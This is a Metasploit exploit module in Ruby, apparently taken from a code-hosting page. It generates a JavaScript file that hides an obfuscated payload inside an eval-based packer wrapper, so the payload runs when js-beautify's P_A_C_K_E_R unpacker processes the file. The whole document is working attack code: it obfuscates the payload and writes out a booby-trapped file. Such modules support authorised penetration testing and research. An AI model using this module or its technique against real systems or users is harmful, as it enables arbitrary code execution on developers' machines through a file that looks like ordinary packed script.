Christian Mehlmauer
48 lines
1.4 KiB
Ruby
48 lines
1.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/exploit/jsobfu'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::JSObfu
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Javascript Injection for Eval-based Unpackers',
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'Description' => %q{
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This module generates a Javascript file that executes arbitrary code
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when an eval-based unpacker is run on it. Works against js-beautify's
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P_A_C_K_E_R unpacker.
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},
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'Author' => [ 'joev' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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],
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'Platform' => 'nodejs',
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'Arch' => ARCH_NODEJS,
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'Privileged' => false,
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'Targets' => [['Automatic', {}]],
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'DisclosureDate' => 'Feb 18 2015',
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'DefaultTarget' => 0))
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register_options([
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OptString.new('FILENAME', [true, 'The file name.', 'msf.js']),
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OptString.new('CUSTOM_JS', [false, 'Custom Javascript payload.'])
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], self.class)
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end
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def exploit
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p = js_obfuscate(datastore['CUSTOM_JS'] || payload.encoded);
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))")
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end
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end
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